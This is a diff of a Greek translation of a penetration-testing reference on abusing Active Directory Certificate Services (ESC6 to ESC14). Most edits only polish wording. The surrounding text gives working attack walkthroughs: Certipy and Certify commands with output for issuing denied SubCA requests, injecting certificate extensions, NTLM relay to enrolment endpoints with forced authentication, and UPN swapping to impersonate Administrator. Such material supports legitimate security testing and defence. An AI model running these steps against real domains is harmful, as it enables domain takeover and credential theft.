μέσω μηχανισμών όπως το S4U2Self ή το S4U2Proxy. - Ο διακομιστής RPC/DCOM του διακομιστή CA. - Οποιοδήποτε κατώτερο αντικείμενο ή κοντέινερ AD εντός της συγκεκριμένης διαδρομής κοντέινερ `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Αυτή η διαδρομή περιλαμβάνει, αλλά δεν περιορίζεται σε, κοντέινερ και αντικείμενα όπως το κοντέινερ Πρότυπα Πιστοποιητικών, το κοντέινερ Αρχών Πιστοποίησης, το αντικείμενο NTAuthCertificates και το Κοντέινερ Υπηρεσιών Εγγραφής. @@ -176,9 +176,9 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes ### Εξήγηση -Το θέμα που συζητείται στην [**ανάρτηση του CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) αναφέρεται επίσης στις επιπτώσεις της σημαίας **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, όπως περιγράφεται από τη Microsoft. Αυτή η ρύθμιση, όταν ενεργοποιηθεί σε μια Αρχή Πιστοποίησης (CA), επιτρέπει την προσθήκη **καθορισμένων από τον χρήστη τιμών** στο **εναλλακτικό όνομα υποκειμένου** για **οποιοδήποτε αίτημα**, συμπεριλαμβανομένων εκείνων που κατασκευάζονται από το Active Directory®. Ως εκ τούτου, αυτή η διάταξη επιτρέπει σε έναν **εισβολέα** να εγγραφεί μέσω **οποιουδήποτε προτύπου** έχει ρυθμιστεί για **αυθεντικοποίηση** τομέα—συγκεκριμένα εκείνων που είναι ανοιχτά για εγγραφή **μη προνομιούχων** χρηστών, όπως το πρότυπο Χρήστη. Ως αποτέλεσμα, μπορεί να εξασφαλιστεί ένα πιστοποιητικό, επιτρέποντας στον εισβολέα να αυθεντικοποιηθεί ως διαχειριστής τομέα ή **οποιαδήποτε άλλη ενεργή οντότητα** εντός του τομέα. +Το θέμα που συζητείται στην [**ανάρτηση της CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) αναφέρεται επίσης στις επιπτώσεις της σημαίας **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, όπως περιγράφεται από τη Microsoft. Αυτή η ρύθμιση, όταν ενεργοποιηθεί σε μια Αρχή Πιστοποίησης (CA), επιτρέπει την προσθήκη **καθορισμένων από τον χρήστη τιμών** στο **εναλλακτικό όνομα υποκειμένου** για **οποιοδήποτε αίτημα**, συμπεριλαμβανομένων εκείνων που κατασκευάζονται από το Active Directory®. Ως εκ τούτου, αυτή η διάταξη επιτρέπει σε έναν **εισβολέα** να εγγραφεί μέσω **οποιουδήποτε προτύπου** έχει ρυθμιστεί για **αυθεντικοποίηση** τομέα—συγκεκριμένα εκείνων που είναι ανοιχτά για εγγραφή **μη προνομιούχων** χρηστών, όπως το πρότυπο Χρήστη. Ως αποτέλεσμα, μπορεί να εξασφαλιστεί ένα πιστοποιητικό, επιτρέποντας στον εισβολέα να αυθεντικοποιηθεί ως διαχειριστής τομέα ή **οποιαδήποτε άλλη ενεργή οντότητα** εντός του τομέα. -**Σημείωση**: Η προσέγγιση για την προσθήκη **εναλλακτικών ονομάτων** σε ένα Αίτημα Υπογραφής Πιστοποιητικού (CSR), μέσω του επιχειρήματος `-attrib "SAN:"` στο `certreq.exe` (αναφερόμενο ως “Ζεύγη Ονομάτων και Τιμών”), παρουσιάζει μια **αντίθεση** με τη στρατηγική εκμετάλλευσης των SANs στο ESC1. Εδώ, η διάκριση έγκειται στο **πώς οι πληροφορίες λογαριασμού είναι ενσωματωμένες**—εντός ενός χαρακτηριστικού πιστοποιητικού, αντί για μια επέκταση. +**Σημείωση**: Η προσέγγιση για την προσθήκη **εναλλακτικών ονομάτων** σε ένα Αίτημα Υπογραφής Πιστοποιητικού (CSR), μέσω του επιχειρήματος `-attrib "SAN:"` στο `certreq.exe` (αναφερόμενο ως “Ζεύγη Ονόματος και Τιμής”), παρουσιάζει μια **αντίθεση** με τη στρατηγική εκμετάλλευσης των SANs στο ESC1. Εδώ, η διάκριση έγκειται στο **πώς οι πληροφορίες λογαριασμού είναι ενσωματωμένες**—εντός ενός χαρακτηριστικού πιστοποιητικού, αντί για μια επέκταση. ### Κατάχρηση @@ -209,7 +209,7 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJ ``` > [!WARNING] > Μετά τις ενημερώσεις ασφαλείας του Μαΐου 2022, οι νεοεκδοθείσες **πιστοποιήσεις** θα περιέχουν μια **επέκταση ασφαλείας** που ενσωματώνει την **ιδιότητα `objectSid` του αιτούντος**. Για το ESC1, αυτό το SID προέρχεται από το καθορισμένο SAN. Ωστόσο, για το **ESC6**, το SID αντικατοπτρίζει το **`objectSid` του αιτούντος**, όχι το SAN.\ -> Για να εκμεταλλευτεί κανείς το ESC6, είναι απαραίτητο το σύστημα να είναι ευάλωτο στο ESC10 (Αδύνατοι Χάρτες Πιστοποιητικών), το οποίο δίνει προτεραιότητα στο **SAN πάνω από τη νέα επέκταση ασφαλείας**. +> Για να εκμεταλλευτεί κανείς το ESC6, είναι απαραίτητο το σύστημα να είναι ευάλωτο στο ESC10 (Αδύνατοι Χάρτες Πιστοποιητικών), το οποίο δίνει προτεραιότητα στο **SAN έναντι της νέας επέκτασης ασφαλείας**. ## Ευάλωτος Έλεγχος Πρόσβασης Αρχής Πιστοποίησης - ESC7 @@ -252,21 +252,21 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336 #### Explanation > [!WARNING] -> Στην **προηγούμενη επίθεση** **`Manage CA`** χρησιμοποιήθηκαν δικαιώματα για να **ενεργοποιηθεί** η σημαία **EDITF_ATTRIBUTESUBJECTALTNAME2** για να εκτελεστεί η **ESC6 επίθεση**, αλλά αυτό δεν θα έχει καμία επίδραση μέχρι να επανεκκινήσει η υπηρεσία CA (`CertSvc`). Όταν ένας χρήστης έχει το δικαίωμα πρόσβασης **`Manage CA`**, επιτρέπεται επίσης να **επανεκκινήσει την υπηρεσία**. Ωστόσο, αυτό **δεν σημαίνει ότι ο χρήστης μπορεί να επανεκκινήσει την υπηρεσία απομακρυσμένα**. Επιπλέον, η **ESC6 μπορεί να μην λειτουργεί κατευθείαν** σε πολλές περιβαλλοντικές εγκαταστάσεις που έχουν διορθωθεί λόγω των ενημερώσεων ασφαλείας του Μαΐου 2022. +> Στην **προηγούμενη επίθεση** **`Manage CA`** χρησιμοποιήθηκαν δικαιώματα για να **ενεργοποιηθεί** η σημαία **EDITF_ATTRIBUTESUBJECTALTNAME2** για να εκτελεστεί η **ESC6 επίθεση**, αλλά αυτό δεν θα έχει καμία επίδραση μέχρι να επανεκκινηθεί η υπηρεσία CA (`CertSvc`). Όταν ένας χρήστης έχει το δικαίωμα πρόσβασης **`Manage CA`**, επιτρέπεται επίσης να **επανεκκινήσει την υπηρεσία**. Ωστόσο, **δεν σημαίνει ότι ο χρήστης μπορεί να επανεκκινήσει την υπηρεσία απομακρυσμένα**. Επιπλέον, η **ESC6 μπορεί να μην λειτουργεί κατευθείαν** σε τις περισσότερες περιβαλλόντων που έχουν διορθωθεί λόγω των ενημερώσεων ασφαλείας του Μαΐου 2022. -Επομένως, παρουσιάζεται μια άλλη επίθεση εδώ. +Επομένως, μια άλλη επίθεση παρουσιάζεται εδώ. Perquisites: -- Μόνο **`ManageCA` permission** -- **`Manage Certificates`** permission (μπορεί να παραχωρηθεί από **`ManageCA`**) +- Μόνο **`ManageCA` δικαίωμα** +- Δικαίωμα **`Manage Certificates`** (μπορεί να παραχωρηθεί από **`ManageCA`**) - Το πρότυπο πιστοποιητικού **`SubCA`** πρέπει να είναι **ενεργοποιημένο** (μπορεί να ενεργοποιηθεί από **`ManageCA`**) Η τεχνική βασίζεται στο γεγονός ότι οι χρήστες με το δικαίωμα πρόσβασης `Manage CA` _και_ `Manage Certificates` μπορούν να **εκδίδουν αποτυχημένα αιτήματα πιστοποιητικών**. Το πρότυπο πιστοποιητικού **`SubCA`** είναι **ευάλωτο στην ESC1**, αλλά **μόνο οι διαχειριστές** μπορούν να εγγραφούν στο πρότυπο. Έτσι, ένας **χρήστης** μπορεί να **ζητήσει** να εγγραφεί στο **`SubCA`** - το οποίο θα **αρνηθεί** - αλλά **στη συνέχεια θα εκδοθεί από τον διαχειριστή**. #### Abuse -Μπορείτε να **παραχωρήσετε στον εαυτό σας το δικαίωμα πρόσβασης `Manage Certificates`** προσθέτοντας τον χρήστη σας ως νέο αξιωματούχο. +Μπορείτε να **παραχωρήσετε στον εαυτό σας το δικαίωμα `Manage Certificates`** προσθέτοντας τον χρήστη σας ως νέο αξιωματούχο. ```bash certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -299,7 +299,7 @@ Would you like to save the private key? (y/N) y [*] Saved private key to 785.key [-] Failed to request certificate ``` -Με τα **`Manage CA` και `Manage Certificates`**, μπορούμε στη συνέχεια να **εκδώσουμε το αποτυχημένο πιστοποιητικό** αίτημα με την εντολή `ca` και την παράμετρο `-issue-request `. +Με τα **`Manage CA` και `Manage Certificates`**, μπορούμε στη συνέχεια να **εκδώσουμε το αποτυχημένο αίτημα πιστοποίησης** με την εντολή `ca` και την παράμετρο `-issue-request `. ```bash certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -318,61 +318,62 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Loaded private key from '785.key' [*] Saved certificate and private key to 'administrator.pfx' ``` -### Attack 3 – Manage Certificates Extension Abuse (SetExtension) +### Attack 3 – Abuse της Επέκτασης Διαχείρισης Πιστοποιητικών (SetExtension) -#### Explanation +#### Εξήγηση -Εκτός από τις κλασικές καταχρήσεις ESC7 (ενεργοποίηση χαρακτηριστικών EDITF ή έγκριση εκκρεμών αιτημάτων), το **Certify 2.0** αποκάλυψε μια ολοκαίνουργια πρωτοβουλία που απαιτεί μόνο το ρόλο *Manage Certificates* (γνωστός και ως **Certificate Manager / Officer**) στην Enterprise CA. +Εκτός από τις κλασικές καταχρήσεις ESC7 (ενεργοποίηση χαρακτηριστικών EDITF ή έγκριση εκκρεμών αιτημάτων), το **Certify 2.0** αποκάλυψε μια ολοκαίνουργια πρωτοβουλία που απαιτεί μόνο το ρόλο *Διαχείρισης Πιστοποιητικών* (γνωστός και ως **Διαχειριστής / Υπάλληλος Πιστοποιητικών**) στην Επιχειρησιακή CA. -Η μέθοδος `ICertAdmin::SetExtension` RPC μπορεί να εκτελείται από οποιονδήποτε φορέα κατέχει *Manage Certificates*. Ενώ η μέθοδος χρησιμοποιούνταν παραδοσιακά από νόμιμες CAs για την ενημέρωση επεκτάσεων σε **εκκρεμή** αιτήματα, ένας επιτιθέμενος μπορεί να την καταχραστεί για να **προσθέσει μια *μη προεπιλεγμένη* επέκταση πιστοποιητικού** (για παράδειγμα, μια προσαρμοσμένη OID *Certificate Issuance Policy* όπως `1.1.1.1`) σε ένα αίτημα που περιμένει έγκριση. +Η μέθοδος `ICertAdmin::SetExtension` RPC μπορεί να εκτελείται από οποιονδήποτε φορέα κατέχει *Διαχείριση Πιστοποιητικών*. Ενώ η μέθοδος χρησιμοποιούνταν παραδοσιακά από νόμιμες CAs για την ενημέρωση επεκτάσεων σε **εκκρεμή** αιτήματα, ένας επιτιθέμενος μπορεί να την καταχραστεί για να **προσθέσει μια *μη προεπιλεγμένη* επέκταση πιστοποιητικού** (για παράδειγμα, μια προσαρμοσμένη OID *Πολιτικής Έκδοσης Πιστοποιητικών* όπως `1.1.1.1`) σε ένα αίτημα που περιμένει έγκριση. Δεδομένου ότι το στοχευμένο πρότυπο **δεν ορίζει προεπιλεγμένη τιμή για αυτήν την επέκταση**, η CA ΔΕΝ θα αντικαταστήσει την τιμή που ελέγχεται από τον επιτιθέμενο όταν το αίτημα τελικά εκδοθεί. Το προκύπτον πιστοποιητικό περιέχει επομένως μια επέκταση που έχει επιλεγεί από τον επιτιθέμενο και μπορεί να: -* Ικανοποιήσει τις απαιτήσεις πολιτικής εφαρμογής / έκδοσης άλλων ευάλωτων προτύπων (οδηγώντας σε κλιμάκωση προνομίων). +* Ικανοποιήσει τις απαιτήσεις Πολιτικής Εφαρμογής / Έκδοσης άλλων ευάλωτων προτύπων (οδηγώντας σε κλιμάκωση προνομίων). * Εισάγει επιπλέον EKUs ή πολιτικές που παρέχουν στο πιστοποιητικό απροσδόκητη εμπιστοσύνη σε τρίτα συστήματα. -Με απλά λόγια, το *Manage Certificates* – που προηγουμένως θεωρούνταν το “λιγότερο ισχυρό” μισό του ESC7 – μπορεί τώρα να αξιοποιηθεί για πλήρη κλιμάκωση προνομίων ή μακροχρόνια επιμονή, χωρίς να αγγίξει τη διαμόρφωση της CA ή να απαιτεί το πιο περιοριστικό δικαίωμα *Manage CA*. +Με απλά λόγια, η *Διαχείριση Πιστοποιητικών* – που προηγουμένως θεωρούνταν το “λιγότερο ισχυρό” μισό του ESC7 – μπορεί τώρα να αξιοποιηθεί για πλήρη κλιμάκωση προνομίων ή μακροχρόνια επιμονή, χωρίς να αγγίξει τη διαμόρφωση της CA ή να απαιτεί το πιο περιοριστικό δικαίωμα *Διαχείρισης CA*. -#### Abusing the primitive with Certify 2.0 +#### Κατάχρηση της πρωτοβουλίας με το Certify 2.0 1. **Υποβάλετε ένα αίτημα πιστοποιητικού που θα παραμείνει *εκκρεμές*.** Αυτό μπορεί να επιβληθεί με ένα πρότυπο που απαιτεί έγκριση διαχειριστή: ```powershell Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval -# Σημειώστε το επιστρεφόμενο Request ID +# Σημειώστε το επιστρεφόμενο ID Αιτήματος ``` 2. **Προσθέστε μια προσαρμοσμένη επέκταση στο εκκρεμές αίτημα** χρησιμοποιώντας την νέα εντολή `manage-ca`: ```powershell Certify.exe manage-ca --ca SERVER\\CA-NAME \ --request-id 1337 \ ---set-extension "1.1.1.1=DER,10,01 01 00 00" # ψεύτικο OID πολιτικής έκδοσης +--set-extension "1.1.1.1=DER,10,01 01 00 00" # ψεύτικη πολιτική έκδοσης OID ``` -*Εάν το πρότυπο δεν ορίζει ήδη την επέκταση *Certificate Issuance Policies*, η παραπάνω τιμή θα διατηρηθεί μετά την έκδοση.* +*Εάν το πρότυπο δεν ορίζει ήδη την επέκταση *Πολιτικές Έκδοσης Πιστοποιητικών*, η παραπάνω τιμή θα διατηρηθεί μετά την έκδοση.* -3. **Εκδώστε το αίτημα** (εάν ο ρόλος σας έχει επίσης δικαιώματα έγκρισης *Manage Certificates*) ή περιμένετε να το εγκρίνει ένας χειριστής. Μόλις εκδοθεί, κατεβάστε το πιστοποιητικό: +3. **Εκδώστε το αίτημα** (εάν ο ρόλος σας έχει επίσης δικαιώματα έγκρισης *Διαχείρισης Πιστοποιητικών*) ή περιμένετε να το εγκρίνει ένας χειριστής. Μόλις εκδοθεί, κατεβάστε το πιστοποιητικό: ```powershell Certify.exe request-download --ca SERVER\\CA-NAME --id 1337 ``` 4. Το προκύπτον πιστοποιητικό περιέχει τώρα το κακόβουλο OID πολιτικής έκδοσης και μπορεί να χρησιμοποιηθεί σε επόμενες επιθέσεις (π.χ. ESC13, κλιμάκωση τομέα, κ.λπ.). -> NOTE: Η ίδια επίθεση μπορεί να εκτελεστεί με το Certipy ≥ 4.7 μέσω της εντολής `ca` και της παραμέτρου `-set-extension`. +> ΣΗΜΕΙΩΣΗ: Η ίδια επίθεση μπορεί να εκτελεστεί με το Certipy ≥ 4.7 μέσω της εντολής `ca` και της παραμέτρου `-set-extension`. -## NTLM Relay to AD CS HTTP Endpoints – ESC8 +## NTLM Relay σε AD CS HTTP Endpoints – ESC8 -### Explanation +### Εξήγηση > [!TIP] -> Σε περιβάλλοντα όπου **AD CS είναι εγκατεστημένο**, εάν υπάρχει ένα **ευάλωτο σημείο εγγραφής ιστού** και τουλάχιστον ένα **πρότυπο πιστοποιητικού έχει δημοσιευθεί** που επιτρέπει **την εγγραφή υπολογιστών τομέα και την πιστοποίηση πελατών** (όπως το προεπιλεγμένο **`Machine`** πρότυπο), καθίσταται δυνατή η **κατάχρηση από οποιονδήποτε υπολογιστή με ενεργή υπηρεσία spooler από έναν επιτιθέμενο**! +> Σε περιβάλλοντα όπου **έχει εγκατασταθεί το AD CS**, εάν υπάρχει ένα **ευάλωτο σημείο καταχώρησης ιστού** και τουλάχιστον ένα **πρότυπο πιστοποιητικού έχει δημοσιευθεί** που επιτρέπει **την καταχώρηση υπολογιστών τομέα και την πιστοποίηση πελατών** (όπως το προεπιλεγμένο **`Machine`** πρότυπο), γίνεται δυνατή η **κατάχρηση από οποιονδήποτε υπολογιστή με ενεργή υπηρεσία spooler από έναν επιτιθέμενο**! -Πολλές **μεθόδους εγγραφής βασισμένες σε HTTP** υποστηρίζονται από το AD CS, που διατίθενται μέσω πρόσθετων ρόλων διακομιστή που μπορεί να εγκαταστήσουν οι διαχειριστές. Αυτές οι διεπαφές για την εγγραφή πιστοποιητικών βασισμένων σε HTTP είναι ευάλωτες σε **επιθέσεις NTLM relay**. Ένας επιτιθέμενος, από μια **κατεστραμμένη μηχανή, μπορεί να προσποιηθεί οποιονδήποτε λογαριασμό AD που πιστοποιείται μέσω εισερχόμενου NTLM**. Ενώ προσποιείται τον λογαριασμό του θύματος, αυτές οι διεπαφές ιστού μπορούν να προσπελαστούν από έναν επιτιθέμενο για να **ζητήσει ένα πιστοποιητικό πιστοποίησης πελάτη χρησιμοποιώντας τα πρότυπα πιστοποιητικού `User` ή `Machine`**. +Διάφορες **μεθόδους καταχώρησης βασισμένες σε HTTP** υποστηρίζονται από το AD CS, που διατίθενται μέσω πρόσθετων ρόλων διακομιστή που μπορεί να εγκαταστήσουν οι διαχειριστές. Αυτές οι διεπαφές για την καταχώρηση πιστοποιητικών βασισμένων σε HTTP είναι ευάλωτες σε **επιθέσεις NTLM relay**. Ένας επιτιθέμενος, από μια **κατεστραμμένη μηχανή, μπορεί να προσποιηθεί οποιονδήποτε λογαριασμό AD που πιστοποιείται μέσω εισερχόμενου NTLM**. Ενώ προσποιείται τον λογαριασμό του θύματος, αυτές οι διεπαφές ιστού μπορούν να προσπελαστούν από έναν επιτιθέμενο για να **ζητήσει ένα πιστοποιητικό πιστοποίησης πελάτη χρησιμοποιώντας τα πρότυπα πιστοποιητικών `User` ή `Machine`**. -- Η **διεπαφή εγγραφής ιστού** (μια παλαιότερη εφαρμογή ASP διαθέσιμη στο `http:///certsrv/`), προεπιλέγει μόνο HTTP, το οποίο δεν προσφέρει προστασία κατά των επιθέσεων NTLM relay. Επιπλέον, επιτρέπει ρητά μόνο την πιστοποίηση NTLM μέσω της HTTP κεφαλίδας Authorization, καθιστώντας τις πιο ασφαλείς μεθόδους πιστοποίησης όπως το Kerberos μη εφαρμόσιμες. -- Η **Υπηρεσία Εγγραφής Πιστοποιητικών** (CES), η **Υπηρεσία Πολιτικής Εγγραφής Πιστοποιητικών** (CEP) και η **Υπηρεσία Εγγραφής Δικτύου Συσκευών** (NDES) υποστηρίζουν προεπιλεγμένα την πιστοποίηση negotiate μέσω της HTTP κεφαλίδας Authorization τους. Η πιστοποίηση negotiate **υποστηρίζει και** το Kerberos και το **NTLM**, επιτρέποντας σε έναν επιτιθέμενο να **υποβαθμίσει την πιστοποίηση σε NTLM** κατά τη διάρκεια επιθέσεων relay. Αν και αυτές οι διαδικτυακές υπηρεσίες ενεργοποιούν το HTTPS από προεπιλογή, το HTTPS από μόνο του **δεν προστατεύει από επιθέσεις NTLM relay**. Η προστασία από επιθέσεις NTLM relay για υπηρεσίες HTTPS είναι δυνατή μόνο όταν το HTTPS συνδυάζεται με την δέσμευση καναλιού. Δυστυχώς, το AD CS δεν ενεργοποιεί την Επεκτεταμένη Προστασία για Πιστοποίηση στο IIS, που απαιτείται για την δέσμευση καναλιού. +- Η **διεπαφή καταχώρησης ιστού** (μια παλαιότερη εφαρμογή ASP διαθέσιμη στο `http:///certsrv/`), προεπιλέγει μόνο HTTP, το οποίο δεν προσφέρει προστασία κατά των επιθέσεων NTLM relay. Επιπλέον, επιτρέπει ρητά μόνο την πιστοποίηση NTLM μέσω της HTTP κεφαλίδας εξουσιοδότησης της, καθιστώντας τις πιο ασφαλείς μεθόδους πιστοποίησης όπως το Kerberos μη εφαρμόσιμες. +- Η **Υπηρεσία Καταχώρησης Πιστοποιητικών** (CES), η **Υπηρεσία Πολιτικής Καταχώρησης Πιστοποιητικών** (CEP) και η **Υπηρεσία Καταχώρησης Δικτύου** (NDES) υποστηρίζουν προεπιλεγμένα την πιστοποίηση negotiate μέσω της HTTP κεφαλίδας εξουσιοδότησης τους. Η πιστοποίηση negotiate **υποστηρίζει και τα δύο** Kerberos και **NTLM**, επιτρέποντας σε έναν επιτιθέμενο να **υποβαθμίσει την πιστοποίηση σε NTLM** κατά τη διάρκεια επιθέσεων relay. Αν και αυτές οι διαδικτυακές υπηρεσίες ενεργοποιούν το HTTPS προεπιλεγμένα, το HTTPS από μόνο του **δεν προστατεύει από επιθέσεις NTLM relay**. Η προστασία από επιθέσεις NTLM relay για υπηρεσίες HTTPS είναι δυνατή μόνο όταν το HTTPS συνδυάζεται με την δέσμευση καναλιού. Δυστυχώς, το AD CS δεν ενεργοποιεί την Επεκτεταμένη Προστασία για Πιστοποίηση στο IIS, που απαιτείται για την δέσμευση καναλιού. -Ένα κοινό **πρόβλημα** με τις επιθέσεις NTLM relay είναι η **σύντομη διάρκεια των συνεδριών NTLM** και η αδυναμία του επιτιθέμενου να αλληλεπιδρά με υπηρεσίες που **απαιτούν NTLM signing**. +Ένα κοινό **πρόβλημα** με τις επιθέσεις NTLM relay είναι η **σύντομη διάρκεια των συνεδριών NTLM** και η αδυναμία του επιτιθέμενου να αλληλεπιδρά με υπηρεσίες που **απαιτούν υπογραφή NTLM**. + +Ωστόσο, αυτός ο περιορισμός ξεπερνιέται εκμεταλλευόμενος μια επίθεση NTLM relay για να αποκτήσει ένα πιστοποιητικό για τον χρήστη, καθώς η διάρκεια ισχύος του πιστοποιητικού καθορίζει τη διάρκεια της συνεδρίας, και το πιστοποιητικό μπορεί να χρησιμοποιηθεί με υπηρεσίες που **απαιτούν υπογραφή NTLM**. Για οδηγίες σχετικά με τη χρήση ενός κλεμμένου πιστοποιητικού, ανατρέξτε σε: -Ωστόσο, αυτός ο περιορισμός ξεπερνιέται εκμεταλλευόμενος μια επίθεση NTLM relay για να αποκτήσει ένα πιστοποιητικό για τον χρήστη, καθώς η διάρκεια ισχύος του πιστοποιητικού καθορίζει τη διάρκεια της συνεδρίας, και το πιστοποιητικό μπορεί να χρησιμοποιηθεί με υπηρεσίες που **απαιτούν NTLM signing**. Για οδηγίες σχετικά με τη χρήση ενός κλεμμένου πιστοποιητικού, ανατρέξτε σε: {{#ref}} account-persistence.md @@ -380,13 +381,14 @@ account-persistence.md Ένας άλλος περιορισμός των επιθέσεων NTLM relay είναι ότι **μια μηχανή που ελέγχεται από τον επιτιθέμενο πρέπει να πιστοποιηθεί από έναν λογαριασμό θύματος**. Ο επιτιθέμενος θα μπορούσε είτε να περιμένει είτε να προσπαθήσει να **επιβάλει** αυτήν την πιστοποίηση: + {{#ref}} ../printers-spooler-service-abuse.md {{#endref}} -### **Abuse** +### **Κατάχρηση** -[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumerates **enabled HTTP AD CS endpoints**: +[**Certify**](https://github.com/GhostPack/Certify)’s `cas` καταγράφει **ενεργοποιημένα HTTP AD CS endpoints**: ``` Certify.exe cas ``` @@ -403,7 +405,7 @@ Get-CertificationAuthority | select Name,Enroll* | Format-List * ```
-#### Κατάχρηση με Certify +#### Κατάχρηση με το Certify ```bash ## In the victim machine # Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine @@ -418,11 +420,11 @@ proxychains ntlmrelayx.py -t http:///certsrv/certfnsh.asp -smb2sup # Force authentication from victim to compromised machine with port forwards execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe ``` -#### Abuse with [Certipy](https://github.com/ly4k/Certipy) +#### Κατάχρηση με [Certipy](https://github.com/ly4k/Certipy) Το αίτημα για ένα πιστοποιητικό γίνεται από το Certipy από προεπιλογή με βάση το πρότυπο `Machine` ή `User`, που καθορίζεται από το αν το όνομα του λογαριασμού που αναμεταδίδεται τελειώνει σε `$`. Η καθορισμός ενός εναλλακτικού προτύπου μπορεί να επιτευχθεί μέσω της χρήσης της παραμέτρου `-template`. -Μια τεχνική όπως το [PetitPotam](https://github.com/ly4k/PetitPotam) μπορεί στη συνέχεια να χρησιμοποιηθεί για να εξαναγκάσει την αυθεντικοποίηση. Όταν ασχολείστε με ελεγκτές τομέα, απαιτείται η καθορισμός του `-template DomainController`. +Μια τεχνική όπως το [PetitPotam](https://github.com/ly4k/PetitPotam) μπορεί στη συνέχεια να χρησιμοποιηθεί για να εξαναγκάσει την αυθεντικοποίηση. Όταν ασχολείστε με ελεγκτές τομέα, απαιτείται ο καθορισμός του `-template DomainController`. ```bash certipy relay -ca ca.corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -446,17 +448,17 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) - Το `StrongCertificateBindingEnforcement` δεν έχει ρυθμιστεί σε `2` (με την προεπιλεγμένη να είναι `1`), ή οι `CertificateMappingMethods` περιλαμβάνουν τη σημαία `UPN`. - Το πιστοποιητικό είναι σημειωμένο με τη σημαία `CT_FLAG_NO_SECURITY_EXTENSION` εντός της ρύθμισης `msPKI-Enrollment-Flag`. - Οποιοδήποτε EKU πιστοποίησης πελάτη καθορίζεται από το πιστοποιητικό. -- Οι άδειες `GenericWrite` είναι διαθέσιμες σε οποιονδήποτε λογαριασμό για να συμβιβαστεί άλλος. +- Οι άδειες `GenericWrite` είναι διαθέσιμες σε οποιονδήποτε λογαριασμό για να συμβιβάσουν έναν άλλο. ### Abuse Scenario -Ας υποθέσουμε ότι ο `John@corp.local` κατέχει άδειες `GenericWrite` πάνω στον `Jane@corp.local`, με στόχο να συμβιβάσει τον `Administrator@corp.local`. Το πρότυπο πιστοποιητικού `ESC9`, στο οποίο επιτρέπεται η εγγραφή της `Jane@corp.local`, είναι ρυθμισμένο με τη σημαία `CT_FLAG_NO_SECURITY_EXTENSION` στην ρύθμιση `msPKI-Enrollment-Flag`. +Ας υποθέσουμε ότι ο `John@corp.local` κατέχει άδειες `GenericWrite` πάνω από τον `Jane@corp.local`, με στόχο να συμβιβάσει τον `Administrator@corp.local`. Το πρότυπο πιστοποιητικού `ESC9`, στο οποίο επιτρέπεται η εγγραφή του `Jane@corp.local`, είναι ρυθμισμένο με τη σημαία `CT_FLAG_NO_SECURITY_EXTENSION` στην ρύθμιση `msPKI-Enrollment-Flag`. -Αρχικά, το hash της `Jane` αποκτάται χρησιμοποιώντας Shadow Credentials, χάρη στον `GenericWrite` του `John`: +Αρχικά, το hash του `Jane` αποκτάται χρησιμοποιώντας Shadow Credentials, χάρη στον `GenericWrite` του `John`: ```bash certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane ``` -Στη συνέχεια, το `userPrincipalName` της `Jane` τροποποιείται σε `Administrator`, παραλείποντας σκόπιμα το τμήμα τομέα `@corp.local`: +Στη συνέχεια, το `userPrincipalName` της `Jane` τροποποιείται σε `Administrator`, παραλείποντας σκόπιμα το μέρος του τομέα `@corp.local`: ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` @@ -511,7 +513,7 @@ certipy account update -username John@corp.local -password Passw0rd! -user Jane ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -`Jane`'s `userPrincipalName` επιστρέφει τότε στην αρχική του μορφή, `Jane@corp.local`. +Η `userPrincipalName` της `Jane` επαναφέρεται στην αρχική της, `Jane@corp.local`. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` @@ -535,11 +537,11 @@ certipy account update -username John@corp.local -password Passw0rd! -user Jane ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -Το `userPrincipalName` της `Jane` επανέρχεται στην αρχική του κατάσταση μετά από αυτή τη διαδικασία. +Η `userPrincipalName` της `Jane` επανέρχεται στην αρχική της μορφή μετά από αυτή τη διαδικασία. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local' ``` -Για να αυθεντικοποιηθεί μέσω Schannel, η επιλογή `-ldap-shell` του Certipy χρησιμοποιείται, υποδεικνύοντας την επιτυχία της αυθεντικοποίησης ως `u:CORP\DC$`. +Για να αυθεντικοποιηθεί μέσω Schannel, χρησιμοποιείται η επιλογή `-ldap-shell` του Certipy, υποδεικνύοντας την επιτυχία της αυθεντικοποίησης ως `u:CORP\DC$`. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` @@ -595,7 +597,7 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k) ``` Σημείωση: Για τους ελεγκτές τομέα, πρέπει να καθορίσουμε `-template` στο DomainController. -Ή χρησιμοποιώντας [sploutchy's fork of impacket](https://github.com/sploutchy/impacket): +Ή χρησιμοποιώντας [το fork του sploutchy του impacket](https://github.com/sploutchy/impacket): ```bash $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support ``` @@ -671,28 +673,28 @@ certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target Η περιγραφή στο https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping είναι εξαιρετικά λεπτομερής. Παρακάτω παρατίθεται ένα απόσπασμα του 